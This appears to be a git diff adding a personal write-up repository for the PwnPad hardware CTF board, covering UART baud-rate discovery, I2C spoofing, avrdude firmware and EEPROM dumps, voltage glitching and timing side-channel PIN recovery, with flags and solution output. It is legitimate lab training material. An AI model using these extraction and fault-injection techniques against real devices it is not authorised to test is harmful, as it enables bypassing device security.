+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
